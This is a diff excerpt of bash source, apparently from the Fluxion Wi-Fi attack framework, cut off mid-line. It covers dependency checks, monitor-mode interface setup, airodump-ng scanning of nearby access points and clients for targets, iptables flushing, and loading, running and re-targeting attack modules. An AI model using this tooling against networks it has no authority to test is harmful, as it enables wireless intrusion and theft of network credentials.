# Do not remove. - - local requiredCLITools=( - "aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" - "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" - "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" - "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" - "fuser:psmisc" "killall:psmisc" - ) - - if [ $FLUXIONSkipDependencies != 1 ];then - while ! installer_utils_check_dependencies requiredCLITools[@]; do - if ! installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]; then - echo - echo -e "${CRed}Dependency installation failed!$CClr" - echo "Press enter to retry, ctrl+c to exit..." - read -r bullshit - fi - done - fi - - echo -e "\\n\\n" # This echo is for spacing -} - -fluxion_shutdown() { - if [ $FLUXIONDebug ]; then return 1; fi - - # Show the header if the subroutine has already been loaded. - if type -t fluxion_header &> /dev/null; then - fluxion_header - fi - - echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr" - - # Get running processes we might have to kill before exiting. - local processes - readarray processes < <(ps -A) - - # Currently, fluxion is only responsible for killing airodump-ng, since - # fluxion explicitly uses it to scan for candidate target access points. - # NOTICE: Processes started by subscripts, such as an attack script, - # MUST BE TERMINATED BY THAT SCRIPT in the subscript's abort handler. - local -r targets=("airodump-ng") - - local targetID # Program identifier/title - for targetID in "${targets[@]}"; do - # Get PIDs of all programs matching targetPID - local targetPID - targetPID=$( - echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}' - ) - if [ ! "$targetPID" ]; then continue; fi - echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`" - kill -s SIGKILL $targetPID &> $FLUXIONOutputDevice - done - - # Assure changes are reverted if installer was activated. - if [ "$PackageManagerCLT" ]; then - echo -e "$CWht[$CRed-$CWht] "$( - io_dynamic_output "$FLUXIONRestoringPackageManagerNotice" - )"$CClr" - # Notice: The package manager has already been restored at this point. - # InstallerUtils assures the manager is restored after running operations. - fi - - # If allocated interfaces exist, deallocate them now. - if [ ${#FluxionInterfaces[@]} -gt 0 ]; then - local interface - for interface in "${!FluxionInterfaces[@]}"; do - # Only deallocate fluxion or airmon-ng created interfaces. - if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then - fluxion_deallocate_interface $interface - fi - done - fi - - echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr" - if [ -f "$FLUXIONIPTablesBackup" ]; then - iptables-restore <"$FLUXIONIPTablesBackup" \ - &> $FLUXIONOutputDevice - else - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - fi - - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr" - tput cnorm - - if [ ! $FLUXIONDebug ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr" - sandbox_remove_workfile "$FLUXIONWorkspacePath/*" - fi - - if [ $FLUXIONWIKillProcesses ]; then - echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr" - - # TODO: Add support for other network managers (wpa_supplicant?). - if [ ! -x "$(command -v systemctl)" ]; then - if [ -x "$(command -v service)" ];then - service network-manager restart &> $FLUXIONOutputDevice & - service networkmanager restart &> $FLUXIONOutputDevice & - service networking restart &> $FLUXIONOutputDevice & - fi - else - systemctl restart network-manager.service &> $FLUXIONOutputDevice & - fi - fi - - echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr" - echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr" - - sleep 3 - - clear - - exit 0 -} - - -# ============================================================ # -# ================= < Handler Subroutines > ================== # -# ============================================================ # -# Delete log only in Normal Mode ! -fluxion_conditional_clear() { - # Clear iff we're not in debug mode - if [ ! $FLUXIONDebug ]; then clear; fi -} - -fluxion_conditional_bail() { - echo ${1:-"Something went wrong, whoops! (report this)"} - sleep 5 - if [ ! $FLUXIONDebug ]; then - fluxion_handle_exit - return 1 - fi - echo "Press any key to continue execution..." - read -r bullshit -} - -# ERROR Report only in Developer Mode -if [ $FLUXIONDebug ]; then - fluxion_error_report() { - echo "Exception caught @ line #$1" - } - - trap 'fluxion_error_report $LINENO' ERR -fi - -fluxion_handle_abort_attack() { - if [ $(type -t stop_attack) ]; then - stop_attack &> $FLUXIONOutputDevice - unprep_attack &> $FLUXIONOutputDevice - else - echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice - fi - - fluxion_target_tracker_stop -} - -# In case of abort signal, abort any attacks currently running. -trap fluxion_handle_abort_attack SIGABRT - -fluxion_handle_exit() { - fluxion_handle_abort_attack - fluxion_shutdown - exit 1 -} - -# In case of unexpected termination, run fluxion_shutdown. -trap fluxion_handle_exit SIGINT SIGHUP - - -fluxion_handle_target_change() { - echo "Target change signal received!" > $FLUXIONOutputDevice - - local targetInfo - readarray -t targetInfo < <(more "$FLUXIONWorkspacePath/target_info.txt") - - FluxionTargetMAC=${targetInfo[0]} - FluxionTargetSSID=${targetInfo[1]} - FluxionTargetChannel=${targetInfo[2]} - - FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID) - - if ! stop_attack; then - fluxion_conditional_bail "Target tracker failed to stop attack." - fi - - if ! unprep_attack; then - fluxion_conditional_bail "Target tracker failed to unprep attack." - fi - - if ! load_attack "$FLUXIONPath/attacks/$FluxionAttack/attack.conf"; then - fluxion_conditional_bail "Target tracker failed to load attack." - fi - - if ! prep_attack; then - fluxion_conditional_bail "Target tracker failed to prep attack." - fi - - if ! fluxion_run_attack; then - fluxion_conditional_bail "Target tracker failed to start attack." - fi -} - -# If target monitoring enabled, act on changes. -trap fluxion_handle_target_change SIGALRM - - -# ============================================================ # -# =============== < Resolution & Positioning > =============== # -# ============================================================ # -fluxion_set_resolution() { # Windows + Resolution - - # Get dimensions - # Verify this works on Kali before commiting. - # shopt -s checkwinsize; (:;:) - # SCREEN_SIZE_X="$LINES" - # SCREEN_SIZE_Y="$COLUMNS" - - SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(") - SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}')) - SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) - - # Calculate proportional windows - if hash bc ;then - PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) - NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc) - NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc) - - NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc) - NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc) - - SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2))) - SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2))) - - # Upper windows - TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0" - TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0" - TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0" - - # Lower windows - BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0" - BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0" - BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0" - - # Y mid - LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y" - RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y" - - # Big - TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" - TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" - fi -} - - -# ============================================================ # -# ================= < Sequencing Framework > ================= # -# ============================================================ # -# The following lists some problems with the framework's design. -# The list below is a list of DESIGN FLAWS, not framework bugs. -# * Sequenced undo instructions' return value is being ignored. -# * A global is generated for every new namespace being used. -# * It uses eval too much, but it's bash, so that's not so bad. -# TODO: Try to fix this or come up with a better alternative. -declare -rA FLUXIONUndoable=( \ - ["set"]="unset" \ - ["prep"]="unprep" \ - ["run"]="halt" \ - ["start"]="stop" \ -) - -# Yes, I know, the identifiers are fucking ugly. If only we had -# some type of mangling with bash identifiers, that'd be great. -fluxion_do() { - if [ ${#@} -lt 2 ]; then return -1; fi - - local -r __fluxion_do__namespace=$1 - local -r __fluxion_do__identifier=$2 - - # Notice, the instruction will be adde to the Do Log - # regardless of whether it succeeded or failed to execute. - eval FXDLog_$__fluxion_do__namespace+=\("$__fluxion_do__identifier"\) - eval ${__fluxion_do__namespace}_$__fluxion_do__identifier "${@:3}" - return $? -} - -fluxion_undo() { - if [ ${#@} -ne 1 ]; then return -1; fi - - local -r __fluxion_undo__namespace=$1 - - # Removed read-only due to local constant shadowing bug. - # I've reported the bug, we can add it when fixed. - eval local __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\) - - eval echo \$\{FXDLog_$__fluxion_undo__namespace[@]\} \ - > $FLUXIONOutputDevice - - local __fluxion_undo__i - for (( __fluxion_undo__i=${#__fluxion_undo__history[@]}; \ - __fluxion_undo__i > 0; __fluxion_undo__i-- )); do - local __fluxion_undo__instruction=${__fluxion_undo__history[__fluxion_undo__i-1]} - local __fluxion_undo__command=${__fluxion_undo__instruction%%_*} - local __fluxion_undo__identifier=${__fluxion_undo__instruction#*_} - - echo "Do ${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier" \ - > $FLUXIONOutputDevice - if eval ${__fluxion_undo__namespace}_${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier; then - echo "Undo-chain succeded." > $FLUXIONOutputDevice - eval FXDLog_$__fluxion_undo__namespace=\("${__fluxion_undo__history[@]::$__fluxion_undo__i}"\) - eval echo History\: \$\{FXDLog_$__fluxion_undo__namespace[@]\} \ - > $FLUXIONOutputDevice - return 0 - fi - done - - return -2 # The undo-chain failed. -} - -fluxion_done() { - if [ ${#@} -ne 1 ]; then return -1; fi - - local -r __fluxion_done__namespace=$1 - - eval "FluxionDone=\${FXDLog_${__fluxion_done__namespace[-1]}}" - - if [ ! "$FluxionDone" ]; then return 1; fi -} - -fluxion_done_reset() { - if [ ${#@} -ne 1 ]; then return -1; fi - - local -r __fluxion_done_reset__namespace=$1 - - eval FXDLog_$__fluxion_done_reset__namespace=\(\) -} - -fluxion_do_sequence() { - if [ ${#@} -ne 2 ]; then return 1; fi - - # TODO: Implement an alternative, better method of doing - # what this subroutine does, maybe using for-loop iteFLUXIONWindowRation. - # The for-loop implementation must support the subroutines - # defined above, including updating the namespace tracker. - - local -r __fluxion_do_sequence__namespace=$1 - - # Removed read-only due to local constant shadowing bug. - # I've reported the bug, we can add it when fixed. - local __fluxion_do_sequence__sequence=("${!2}") - - if [ ${#__fluxion_do_sequence__sequence[@]} -eq 0 ]; then - return -2 - fi - - local -A __fluxion_do_sequence__index=() - - local i - for i in $(seq 0 $((${#__fluxion_do_sequence__sequence[@]} - 1))); do - __fluxion_do_sequence__index["${__fluxion_do_sequence__sequence[i]}"]=$i - done - - # Start sequence with the first instruction available. - local __fluxion_do_sequence__instructionIndex=0 - local __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[0]} - while [ "$__fluxion_do_sequence__instruction" ]; do - if ! fluxion_do $__fluxion_do_sequence__namespace $__fluxion_do_sequence__instruction; then - if ! fluxion_undo $__fluxion_do_sequence__namespace; then - return -2 - fi - - # Synchronize the current instruction's index by checking last. - if ! fluxion_done $__fluxion_do_sequence__namespace; then - return -3; - fi - - __fluxion_do_sequence__instructionIndex=${__fluxion_do_sequence__index["$FluxionDone"]} - - if [ ! "$__fluxion_do_sequence__instructionIndex" ]; then - return -4 - fi - else - let __fluxion_do_sequence__instructionIndex++ - fi - - __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[$__fluxion_do_sequence__instructionIndex]} - echo "Running next: $__fluxion_do_sequence__instruction" \ - > $FLUXIONOutputDevice - done -} - - -# ============================================================ # -# ================= < Load All Subroutines > ================= # -# ============================================================ # -fluxion_header() { - format_apply_autosize "[%*s]\n" - local verticalBorder=$FormatApplyAutosize - - format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n" - local headerTextFormat="$FormatApplyAutosize" - - fluxion_conditional_clear - - echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")" - printf "$CSRed$verticalBorder" "" - printf "$headerTextFormat" "" "" - printf "$CSBlu$verticalBorder" "" - echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr" - echo - echo -} - -# ======================= < Language > ======================= # -fluxion_unset_language() { - FluxionLanguage="" - - if [ "$FLUXIONPreferencesFile" ]; then - sed -i.backup "/FluxionLanguage=.\+/ d" "$FLUXIONPreferencesFile" - fi -} - -fluxion_set_language() { - if [ ! "$FluxionLanguage" ]; then - # Get all languages available. - local languageCodes - readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//') - - local languages - readarray -t languages < <( - head -n 3 language/*.sh | - grep -E "^# native: " | - sed -E 's/# \w+: //' - ) - - io_query_format_fields "$FLUXIONVLine Select your language" \ - "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" \ - languageCodes[@] languages[@] - - FluxionLanguage=${IOQueryFormatFields[0]} - - echo # Do not remove. - fi - - # Check if all language files are present for the selected language. - find -type d -name language | while read language_dir; do - if [ ! -e "$language_dir/${FluxionLanguage}.sh" ]; then - echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:" - echo -e "\t$language_dir/${FluxionLanguage}.sh" - return 1 - fi - done - - if [ $? -eq 1 ]; then # If a file is missing, fall back to english. - echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5 - FluxionLanguage="en" - fi - - source "$FLUXIONPath/language/$FluxionLanguage.sh" - - if [ "$FLUXIONPreferencesFile" ]; then - if more $FLUXIONPreferencesFile | \ - grep -q "FluxionLanguage=.\+" &> /dev/null; then - sed -r "s/FluxionLanguage=.+/FluxionLanguage=$FluxionLanguage/g" \ - -i.backup "$FLUXIONPreferencesFile" - else - echo "FluxionLanguage=$FluxionLanguage" >> "$FLUXIONPreferencesFile" - fi - fi -} - -# ====================== < Interfaces > ====================== # -declare -A FluxionInterfaces=() # Global interfaces' registry. - -fluxion_deallocate_interface() { # Release interfaces - if [ ! "$1" ] || ! interface_is_real $1; then return 1; fi - - local -r oldIdentifier=$1 - local -r newIdentifier=${FluxionInterfaces[$oldIdentifier]} - - # Assure the interface is in the allocation table. - if [ ! "$newIdentifier" ]; then return 2; fi - - local interfaceIdentifier=$newIdentifier - echo -e "$CWht[$CSRed-$CWht] "$( - io_dynamic_output "$FLUXIONDeallocatingInterfaceNotice" - )"$CClr" - - if interface_is_wireless $oldIdentifier; then - # If interface was allocated by airmon-ng, deallocate with it. - if [[ "$oldIdentifier" == *"mon"* || "$oldIdentifier" == "prism"* ]]; then - if ! airmon-ng stop $oldIdentifier &> $FLUXIONOutputDevice; then - return 4 - fi - else - # Attempt deactivating monitor mode on the interface. - if ! interface_set_mode $oldIdentifier managed; then - return 3 - fi - - # Attempt to restore the original interface identifier. - if ! interface_reidentify "$oldIdentifier" "$newIdentifier"; then - return 5 - fi - fi - fi - - # Once successfully renamed, remove from allocation table. - unset FluxionInterfaces[$oldIdentifier] - unset FluxionInterfaces[$newIdentifier] -} - -# Parameters: -# ------------------------------------------------------------ # -# Return 1: No interface identifier was passed. -# Return 2: Interface identifier given points to no interface. -# Return 3: Unable to determine interface's driver. -# Return 4: Fluxion failed to reidentify interface. -# Return 5: Interface allocation failed (identifier missing). -fluxion_allocate_interface() { # Reserve interfaces - if [ ! "$1" ]; then return 1; fi - - local -r identifier=$1 - - # If the interface is already in allocation table, we're done. - if [ "${FluxionInterfaces[$identifier]+x}" ]; then - return 0 - fi - - if ! interface_is_real $identifier; then return 2; fi - - - local interfaceIdentifier=$identifier - echo -e "$CWht[$CSGrn+$CWht] "$( - io_dynamic_output "$FLUXIONAllocatingInterfaceNotice" - )"$CClr" - - - if interface_is_wireless $identifier; then - # Unblock wireless interfaces to make them available. - echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice" - rfkill unblock all &> $FLUXIONOutputDevice - - if [ "$FLUXIONWIReloadDriver" ]; then - # Get selected interface's driver details/info-descriptor. - echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" - - if ! interface_driver "$identifier"; then - echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError" - sleep 3 - return 3 - fi - - # Notice: This local is function-scoped, not block-scoped. - local -r driver="$InterfaceDriver" - - # Unload the driver module from the kernel. - rmmod -f $driver &> $FLUXIONOutputDevice - - # Wait while interface becomes unavailable. - echo -e "$FLUXIONVLine "$( - io_dynamic_output $FLUXIONUnloadingWIDriverNotice - ) - while interface_physical "$identifier"; do - sleep 1 - done - fi - - if [ "$FLUXIONWIKillProcesses" ]; then - # Get list of potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice" - - # Kill potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" - - # TODO: Make the loop below airmon-ng independent. - # Maybe replace it with a list of network-managers? - # WARNING: Version differences could break code below. - for program in "$(airmon-ng check | awk 'NR>6{print $2}')"; do - killall "$program" &> $FLUXIONOutputDevice - done - fi - - if [ "$FLUXIONWIReloadDriver" ]; then - # Reload the driver module into the kernel. - modprobe "$driver" &> $FLUXIONOutputDevice - - # Wait while interface becomes available. - echo -e "$FLUXIONVLine "$( - io_dynamic_output $FLUXIONLoadingWIDriverNotice - ) - while ! interface_physical "$identifier"; do - sleep 1 - done - fi - - # Set wireless flag to prevent having to re-query. - local -r allocatingWirelessInterface=1 - fi - - # If we're using the interface library, reidentify now. - # If usuing airmon-ng, let airmon-ng rename the interface. - if [ ! $FLUXIONAirmonNG ]; then - echo -e "$FLUXIONVLine $FLUXIONReidentifyingInterface" - - # Prevent interface-snatching by renaming the interface. - if [ $allocatingWirelessInterface ]; then - # Get next wireless interface to add to FluxionInterfaces global. - fluxion_next_assignable_interface fluxwl - else - # Get next ethernet interface to add to FluxionInterfaces global. - fluxion_next_assignable_interface fluxet - fi - - interface_reidentify $identifier $FluxionNextAssignableInterface - - if [ $? -ne 0 ]; then # If reidentifying failed, abort immediately. - return 4 - fi - fi - - if [ $allocatingWirelessInterface ]; then - # Activate wireless interface monitor mode and save identifier. - echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" - - # TODO: Consider the airmon-ng flag is set, monitor mode is - # already enabled on the interface being allocated, and the - # interface identifier is something non-airmon-ng standard. - # The interface could already be in use by something else. - # Snatching or crashing interface issues could occur. - - # NOTICE: Conditionals below populate newIdentifier on success. - if [ $FLUXIONAirmonNG ]; then - local -r newIdentifier=$( - airmon-ng start $identifier | - grep "monitor .* enabled" | - grep -oP "wl[a-zA-Z0-9]+mon|mon[0-9]+|prism[0-9]+" - ) - else - # Attempt activating monitor mode on the interface. - if interface_set_mode $FluxionNextAssignableInterface monitor; then - # Register the new identifier upon consecutive successes. - local -r newIdentifier=$FluxionNextAssignableInterface - else - # If monitor-mode switch fails, undo rename and abort. - interface_reidentify $FluxionNextAssignableInterface $identifier - fi - fi - fi - - # On failure to allocate the interface, we've got to abort. - # Notice: If the interface was already in monitor mode and - # airmon-ng is activated, WE didn't allocate the interface. - if [ ! "$newIdentifier" -o "$newIdentifier" = "$oldIdentifier" ]; then - echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocationFailedError" - sleep 3 - return 5 - fi - - # Register identifiers to allocation hash table. - FluxionInterfaces[$newIdentifier]=$identifier - FluxionInterfaces[$identifier]=$newIdentifier - - echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocatedNotice" - sleep 3 - - # Notice: Interfaces are accessed with their original identifier - # as the key for the global FluxionInterfaces hash/map/dictionary. -} - -# Parameters: -# Description: Prints next available assignable interface name. -# ------------------------------------------------------------ # -fluxion_next_assignable_interface() { - # Find next available interface by checking global. - local -r prefix=$1 - local index=0 - while [ "${FluxionInterfaces[$prefix$index]}" ]; do - let index++ - done - FluxionNextAssignableInterface="$prefix$index" -} - -# Parameters: [] -# Note: The interfaces lambda must print an interface per line. -# ------------------------------------------------------------ # -# Return -1: Go back -# Return 1: Missing interfaces lambda identifier (not passed). -fluxion_get_interface() { - if ! type -t "$1" &> /dev/null; then return 1; fi - - if [ "$2" ]; then - local -r interfaceQuery="$2" - else - local -r interfaceQuery=$FLUXIONInterfaceQuery - fi - - while true; do - local candidateInterfaces - readarray -t candidateInterfaces < <($1) - local interfacesAvailable=() - local interfacesAvailableInfo=() - local interfacesAvailableColor=() - local interfacesAvailableState=() - - # Gather information from all available interfaces. - local candidateInterface - for candidateInterface in "${candidateInterfaces[@]}"; do - if [ ! "$candidateInterface" ]; then - local skipOption=1 - continue - fi - - interface_chipset "$candidateInterface" - interfacesAvailableInfo+=("$InterfaceChipset") - - # If it has already been allocated, we can use it at will. - local candidateInterfaceAlt=${FluxionInterfaces["$candidateInterface"]} - if [ "$candidateInterfaceAlt" ]; then - interfacesAvailable+=("$candidateInterfaceAlt") - - interfacesAvailableColor+=("$CGrn") - interfacesAvailableState+=("[*]") - else - interfacesAvailable+=("$candidateInterface") - - interface_state "$candidateInterface" - - if [ "$InterfaceState" = "up" ]; then - interfacesAvailableColor+=("$CPrp") - interfacesAvailableState+=("[-]") - else - interfacesAvailableColor+=("$CClr") - interfacesAvailableState+=("[+]") - fi - fi - done - - # If only one interface exists and it's not unavailable, choose it. - if [ "${#interfacesAvailable[@]}" -eq 1 -a \ - "${interfacesAvailableState[0]}" != "[-]" -a \ - "$skipOption" == "" ]; then - FluxionInterfaceSelected="${interfacesAvailable[0]}" - FluxionInterfaceSelectedState="${interfacesAvailableState[0]}" - FluxionInterfaceSelectedInfo="${interfacesAvailableInfo[0]}" - break - else - if [ $skipOption ]; then - interfacesAvailable+=("$FLUXIONGeneralSkipOption") - interfacesAvailableColor+=("$CClr") - fi - - interfacesAvailable+=( - "$FLUXIONGeneralRepeatOption" - "$FLUXIONGeneralBackOption" - ) - - interfacesAvailableColor+=( - "$CClr" - "$CClr" - ) - - format_apply_autosize \ - "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n" - - io_query_format_fields \ - "$FLUXIONVLine $interfaceQuery" "$FormatApplyAutosize" \ - interfacesAvailableColor[@] interfacesAvailable[@] \ - interfacesAvailableState[@] interfacesAvailableInfo[@] - - echo - - case "${IOQueryFormatFields[1]}" in - "$FLUXIONGeneralSkipOption") - FluxionInterfaceSelected="" - FluxionInterfaceSelectedState="" - FluxionInterfaceSelectedInfo="" - return 0;; - "$FLUXIONGeneralRepeatOption") continue;; - "$FLUXIONGeneralBackOption") return -1;; - *) - FluxionInterfaceSelected="${IOQueryFormatFields[1]}" - FluxionInterfaceSelectedState="${IOQueryFormatFields[2]}" - FluxionInterfaceSelectedInfo="${IOQueryFormatFields[3]}" - break;; - esac - fi - done -} - - -# ============== < Fluxion Target Subroutines > ============== # -# Parameters: interface [ channel(s) [ band(s) ] ] -# ------------------------------------------------------------ # -# Return 1: Missing monitor interface. -# Return 2: Xterm failed to start airmon-ng. -# Return 3: Invalid capture file was generated. -# Return 4: No candidates were detected. -fluxion_target_get_candidates() { - # Assure a valid wireless interface for scanning was given. - if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi - - echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" - echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" - - # Assure all previous scan results have been cleared. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - - #if [ "$FLUXIONAuto" ]; then - # sleep 30 && killall xterm & - #fi - - # Begin scanner and output all results to "dump-01.csv." - if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG \ - -bg "#000000" -fg "#FFFFFF" -e \ - "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> $FLUXIONOutputDevice; then - echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError" - sleep 5 - return 2 - fi - - # Sanity check the capture files generated by the scanner. - # If the file doesn't exist, or if it's empty, abort immediately. - if [ ! -f "$FLUXIONWorkspacePath/dump-01.csv" -o \ - ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - return 3 - fi - - # Syntheize scan opeFLUXIONWindowRation results from output file "dump-01.csv." - echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice" - # WARNING: The code below may break with different version of airmon-ng. - # The times matching operator "{n}" isn't supported by mawk (alias awk). - # readarray FLUXIONTargetCandidates < <( - # gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' - # $FLUXIONWorkspacePath/dump-01.csv - # ) - # readarray FLUXIONTargetCandidatesClients < <( - # gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' - # $FLUXIONWorkspacePath/dump-01.csv - # ) - local -r matchMAC="([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]" - readarray FluxionTargetCandidates < <( - awk -F, "NF==15 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \ - "$FLUXIONWorkspacePath/dump-01.csv" - ) - readarray FluxionTargetCandidatesClients < <( - awk -F, "NF==7 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \ - "$FLUXIONWorkspacePath/dump-01.csv" - ) - - # Cleanup the workspace to prevent potential bugs/conflicts. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - - if [ ${#FluxionTargetCandidates[@]} -eq 0 ]; then - echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" - sleep 3 - return 4 - fi -} - - -fluxion_get_target() { - # Assure a valid wireless interface for scanning was given. - if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi - - local -r interface=$1 - - local choices=( \ - "$FLUXIONScannerChannelOptionAll (2.4GHz)" \ - "$FLUXIONScannerChannelOptionAll (5GHz)" \ - "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" \ - "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption" - ) - - io_query_choice "$FLUXIONScannerChannelQuery" choices[@] - - echo - - case "$IOQueryChoice" in - "$FLUXIONScannerChannelOptionAll (2.4GHz)") - fluxion_target_get_candidates $interface "" "bg";; - - "$FLUXIONScannerChannelOptionAll (5GHz)") - fluxion_target_get_candidates $interface "" "a";; - - "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") - fluxion_target_get_candidates $interface "" "abg";; - - "$FLUXIONScannerChannelOptionSpecific") - fluxion_header - - echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery" - echo - echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr " - echo - echo -ne "$FLUXIONPrompt" - - local channels - read channels - - echo - - fluxion_target_get_candidates $interface $channels;; - - "$FLUXIONGeneralBackOption") - return -1;; - esac - - # Abort if errors occured while searching for candidates. - if [ $? -ne 0 ]; then return 2; fi - - local candidatesMAC=() - local candidatesClientsCount=() - local candidatesChannel=() - local candidatesSecurity=() - local candidatesSignal=() - local candidatesPower=() - local candidatesESSID=() - local candidatesColor=() - - # Gather information from all the candidates detected. - # TODO: Clean up this for loop using a cleaner algorithm. - # Maybe try using array appending & [-1] for last elements. - for candidateAPInfo in "${FluxionTargetCandidates[@]}"; do - # Strip candidate info from any extraneous spaces after commas. - candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g") - - local i=${#candidatesMAC[@]} - - candidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1) - candidatesClientsCount[i]=$( - echo "${FluxionTargetCandidatesClients[@]}" | - grep -c "${candidatesMAC[i]}" - ) - candidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d 